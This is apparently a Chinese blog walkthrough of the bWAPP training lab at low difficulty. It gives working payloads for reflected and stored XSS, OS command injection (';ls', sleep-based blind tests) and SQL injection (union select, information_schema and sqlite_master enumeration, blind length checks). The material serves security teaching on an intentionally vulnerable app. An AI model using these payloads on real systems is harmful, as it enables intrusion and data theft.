bwapp通关攻略

low低级关卡:

HTML Injection - Reflected (GET)

直接向文本框中添加xss弹框标签

<script>alert('价格')</script>

HTML Injection - Reflected (POST)

个别标签被过滤,可使用不常用的标签绕过

</option></select><img src=1 οnerrοr=alert('和法国')>

HTML Injection - Reflected (URL)

可通过在url后面拼接达成dom型xss注入,在url后面添加?a=<script>alert('xss')</script>

发现标签中的<>被编码,可通过burp抓包,将编码部分修改为原本内容来实现弹框效果

HTML Injection - Stored (Blog)

想该输入框中添加信息,若出现 Field 'id' doesn't have a default value,则是因为没有对id添加自增属性

打开navicat为id字段添加自增属性。

接着就可以直接向框添加xss标签,<script>alert('xss')</script>

iFrame Injection

iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等。

可以看到ParamUrl参数可以查看文件,将其值进行修改,可以访问php配置信息


LDAP Connection Settings

若提交信息后出现该页面,则可以找到php.ini文件中的;extension=php_ldap.dll,去掉前面的“;”;在重启apache

Mail Header Injection (SMTP)

通常的做法是网站实施联系表单,反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下,这样的联系表单将设置SMTP标头From,Reply-to以便让收件人轻松处理联系表单中的通信,就像其他电子邮件一样。
不幸的是,除非用户的输入在插入SMTP头之前被验证,否则联系表单可能容易受到电子邮件头插入(也称为SMTP头注入)的攻击。这是因为攻击者可以将额外的头部注入到消息中,从而指示SMTP服务器执行与预期不同的指令。
 

OS Command Injection

在后面添上;ls

OS Command Injection - Blind

没有回显,运用时间盲注(通过反应时间,来判断是否执行代码)

直接输入whoami 'sleep 5',停顿5秒在回显,表示成功

PHP Code Injection

发现多了一个message参数,可以通过修改其值来获取相关信息

Server-Side Includes (SSI) Injection

可直接进行xss注入

SQL Injection (GET/Search)

在进行该movie搜索之前,要为自己的movies表添加数据

该查询是以表中的title字段为目标的,根据返回结果可以判断是sql注入中的联合查询,首先通过order by判断查询的数据量

输入1' order by 8#,显示数据没有8字段

输入1' order by 6#,查询成功,证明是6个字段

输入1' union select 1,database(),3,4,5,6#        在第二个字段输出数据库名字

SQL Injection (GET/Select)

在movie参数后添加        and 1=1#,正常,输入        and 1=2#,报错,所以这是数字型注入

SQL Injection (POST/Search)

同get方法一样

SQL Injection (POST/Select)

通过burp抓包,来修改参数的值,同样输入1 and 1=1#,正常,1 and 1=2,错误,判断属于数字型

SQL Injection (AJAX/JSON/jQuery)

ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西
而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法

输入1' order by 6#,有回显,1' order by 7#没有回显,说明字段数为6

输入-a%' union select 1,database(),(group_concat(table_name)),4,5,6 from information_schema.tables where table_schema='bwapp' #,查看数据库和表

Manual Intervention Required!

若出现此标题,正确输入验证码后可到下一关

SQL Injection (CAPTCHA)

输入1' and 1=1#正常,1' and 1=2#,报错,说明是数字型

输入1' union select 1,database(),3,4,5,6#显示数据库

SQL Injection (Login Form/Hero)

该关卡查看的是heroes表中的登录账户,在该测试之前要首先向heroes表中添加数据

账号密码都输入1,有回显

输入1' order by 3#,回显正常,表示有三个字段

输入1' and 1=1#,正常回显

输入1' and 1=2#,报错,证明是数字型注入

通过返回的信息可以判断,此处可以利用盲注

输入1' and length(database())>10 #,不显示内容

输入1' and length(database())>1 #,正常

SQL Injection (Login Form/User)

此关卡同上关类似,只不过测试的是users表中的账户密码

SQL Injection (SQLite)

输入f,显示如下

根据title的值,可以判断该查询为模糊查询,SQL语句应该是

select * from books where title='%$title%';

在sqlite中,注释符为:--

首先判断注入点

输入        f%' and 1=1--         正常,输入f%' and 1=2--        报错,可以判断出是数字型

接着判断字段数

输入        f%' order by 7--       报错,输入         f%' order by 6--,正常,表示字段有6个

判断数据显示的位置

f%' union select 1,2,3,4,5,6--

爆出所有表和版本

f%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --

Drupal SQL Injection (Drupageddon)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值